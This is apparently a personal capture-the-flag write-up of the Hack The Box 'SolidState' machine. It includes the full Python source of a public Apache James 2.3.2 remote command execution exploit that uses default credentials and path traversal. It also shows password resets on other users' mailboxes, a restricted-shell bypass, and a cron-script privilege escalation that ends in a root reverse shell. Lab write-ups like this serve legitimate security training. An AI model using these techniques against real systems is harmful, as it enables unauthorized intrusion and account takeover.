#linux #hackthebox #medium
![[Pasted image 20250613234234.png]]
# Port Scanning - Nmap
tcp all ports scan
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop/vpn]
└─$ sudo nmap -sS 10.10.10.51 -Pn -n --open --min-rate 3000 -p-
[sudo] password for parallels:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 23:46 CDT
Nmap scan report for 10.10.10.51
Host is up (0.050s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
Nmap done: 1 IP address (1 host up) scanned in 15.06 seconds
```
tcp detailed open ports scan
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop/vpn]
└─$ nmap -sCV 10.10.10.51 -p 22,25,80,110,119,4555
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-14 00:02 CDT
Nmap scan report for 10.10.10.51
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.11 [10.10.14.11])
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.39 seconds
```
# Footprinting
NSE scripts for SMTP reveals nothing interesting.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ nmap -sCV $IP -p 25 --script smtp*
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-14 23:40 CDT
Nmap scan report for 10.10.10.51
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-open-relay: Server is an open relay (2/16 tests)
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
| smtp-enum-users:
|_ root
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.11 [10.10.14.11])
Service Info: Host: solidstate
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds
```
Looking back at the Nmap results, port 25, 110, 119, and 4555 are all running the same service named `JAMES` with version `2.3.2` and I was wondering what the service is.
I searched for JAMES in searchsploit and actually found an exploit targeting version 2.3.2
![[Pasted image 20250614232528.png]]
I'll briefly explain what the code `35513.py` does with my limited understanding of it.
1. The script connects to the James Remote Administration Tool. (In our case port 4555)
1. It logs in using the default credentials: `root:root`
2. The script then creates a fake user but with a path traversal trick
1. The username is set to `../../../../../../../etc/bash_completion.d` which would trick the server into writing a file outside its expected directory.
2. `/etc/bash_completion.d` contains bash script files that get automatically executed when a user starts a Bash shell. If you drop a file with a malicious command here, it gets executed the next time someone opens a shell.
3. Connect to the SMTP mail service on port 25.
4. Send a malicious email
1. It sends an email but the recipient is set to the same path: `../../../../../../../etc/bash_completion.d`.
2. This makes the email content get saved into the system directory as a file.
5. Insert the payload
1. The payload is a shell command and it will create a file under `/root` only if the user is root.
```bash
[ "$(id -u)" == "0" ] && touch /root/proof.txt
```
6. Later when any user opens a bash terminal, the file `/etc/bash_completion.d` is executed automatically if it's root.
```
```bash
```py
#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
import socket
import sys
import time
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
if len(sys.argv) != 2:
sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
def recv(s):
s.recv(1024)
time.sleep(0.2)
try:
print "[+]Connecting to James Remote Administration Tool..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4555))
s.recv(1024)
s.send(user + "\n")
s.recv(1024)
s.send(pwd + "\n")
s.recv(1024)
print "[+]Creating user..."
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
s.recv(1024)
s.send("quit\n")
s.close()
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
s.send("ehlo
[email protected]\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)
s.send("data\r\n")
recv(s)
s.send("From:
[email protected]\r\n")
s.send("\r\n")
s.send("'\n")
s.send(payload + "\n")
s.send("\r\n.\r\n")
recv(s)
s.send("quit\r\n")
recv(s)
s.close()
print "[+]Done! Payload will be executed once somebody logs in."
except:
print "Connection failed."
```
Executed the exploit `35513.py`
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ python2 35513.py $IP
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.
```
I logged into JAMES Remote Administration Tool on port 4555 as `root:root` using Telnet
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
```
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```
`HELP` command reveals that I can change password of users by running `setpassword` command.
```text
HELP
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
```
Since I do not know each account's password and I might need to investigate each account, I have changed all of the accounts' passwords to match their usernames using `setpassword` function.
```bash
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
setpassword james james
Password for james reset
setpassword thomas thomas
Password for thomas reset
setpassword john john
Password for john reset
setpassword mindy mindy
Password for mindy reset
setpassword mailadmin mailadmin
Password for mailadmin reset
```
logged into POP3 server as `james:james` and the user contained nothing.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user james
+OK
pass james
+OK Welcome james
list
+OK 0 0
.
```
`thomas:thomas` contained no emails.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user thomas
+OK
pass thomas
+OK Welcome thomas
list
+OK 0 0
.
```
`john:john` contained 1 email which was sent from `mailadmin` and the content was mailadmin advising john to restrict `mindy`'s access
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user john
+OK
pass john
+OK Welcome john
list
+OK 1 743
1 743
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <john@localhost>;
Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,
Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
Thank you in advance.
Respectfully,
James
.
```
`mindy:mindy` has 2 emails under her account.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+OK
pass mindy
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
```
1st email was nothing interesting but it was about welcoming her to the Cyber team as a new hire.
```bash
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
.
```
Mindy's 2nd email finally reveals the information that we were looking for. It included her ssh credentials to access the system.
```bash
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
.
```
`mailadmin:mailadmin` didn't have any emails.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ telnet $IP 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mailadmin
+OK
pass mailadmin
+OK Welcome mailadmin
list
+OK 0 0
.
```
I was able to login to SSH server as `mindy` with the found credentials. However, a lot of commands were not working because mindy had a restricted shell called `rbash`?
```bash
mindy@solidstate:~$ whoami
-rbash: whoami: command not found
```
the `ls` and `cat` commands were still working so I was able to grab the `user.txt` flag
```bash
mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cat user.txt
3513...
```
After some research I found that if you include `bash --noprofile` option when logging into ssh, you can actually bypass the restricted shell.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ ssh mindy@$IP 'bash --noprofile'
[email protected]'s password:
clear
TERM environment variable not set.
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
whoami
mindy
```
After confirming that I bypassed the rbash shell, I upgraded current shell to a fully interactive TTY by inputting the following commands:
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
reset
export TERM=xterm
```
exploring the system, inside the folder `/opt`, I found an interesting file named `tmp.py` which has globally writable permissions to itself.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Aug 22 2017 .
drwxr-xr-x 22 root root 4096 May 27 2022 ..
drwxr-xr-x 11 root root 4096 Apr 26 2021 james-2.3.2
-rwxrwxrwx 1 root root 105 Aug 22 2017 tmp.py
```
the code inside `tmp.py` was nothing special but since it's globally writable, we could take advantage of this if it's actually being run by privileged users like root.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
```
Before uploading `pspy` onto the system to investigate if the file is being run, I had to confirm if the system is running 32bit or 64 bit. You can do so by running `unmae -m` command. `i686` indicates the system is 32bit.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ uname -m
i686
```
Since the current logged in user, `mindy` doesn't have 'Write' permissions to `/opt`, I changed directory to `/dev/shm` and transferred `pspy32` file there.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ./pspy32
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes ever
y 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-re
cursive)
Draining file system events due to startup...
done
2025/06/15 12:42:40 CMD: UID=1001 PID=16451 | ./pspy32
2025/06/15 12:42:40 CMD: UID=1001 PID=15682 | /bin/bash
2025/06/15 12:42:40 CMD: UID=1001 PID=15681 | python3 -c import pty;pty.spawn("/bin/bash")
```
From the output below, we can see that `/opt/tmp.py` is actually being executed every 3 minutes. `UID=0` indicates that it is being run by `root`.
```bash
2025/06/15 12:45:01 CMD: UID=0 PID=16508 | /usr/sbin/CRON -f
2025/06/15 12:45:01 CMD: UID=0 PID=16509 | /usr/sbin/CRON -f
2025/06/15 12:45:01 CMD: UID=0 PID=16510 | /bin/sh -c python /opt/tmp.py
2025/06/15 12:45:01 CMD: UID=0 PID=16511 | python /opt/tmp.py
2025/06/15 12:45:01 CMD: UID=0 PID=16512 | sh -c rm -r /tmp/*
-----------------------------------------------------------------------------
2025/06/15 12:48:01 CMD: UID=0 PID=16565 | /usr/sbin/CRON -f
2025/06/15 12:48:01 CMD: UID=0 PID=16566 | /bin/sh -c python /opt/tmp.py
2025/06/15 12:48:01 CMD: UID=0 PID=16567 |
2025/06/15 12:48:01 CMD: UID=0 PID=16568 | python /opt/tmp.py
2025/06/15 12:48:01 CMD: UID=0 PID=16569 | rm -r /tmp/*
```
We confirmed `tmp.py` is scheduled to run every 3 minutes by root. Now we can add reverse shell code inside the file and expect it to be triggered at its next 3 minutes
![[Pasted image 20250615115637.png]]
My listener was able to capture the shell :) and I got the root flag
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.51] 42872
bash: cannot set terminal process group (16859): Inappropriate ioctl for device
bash: no job control in this shell
root@solidstate:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@solidstate:~# ls
ls
root.txt
root@solidstate:~# cat root.txt
cat root.txt
3694...
```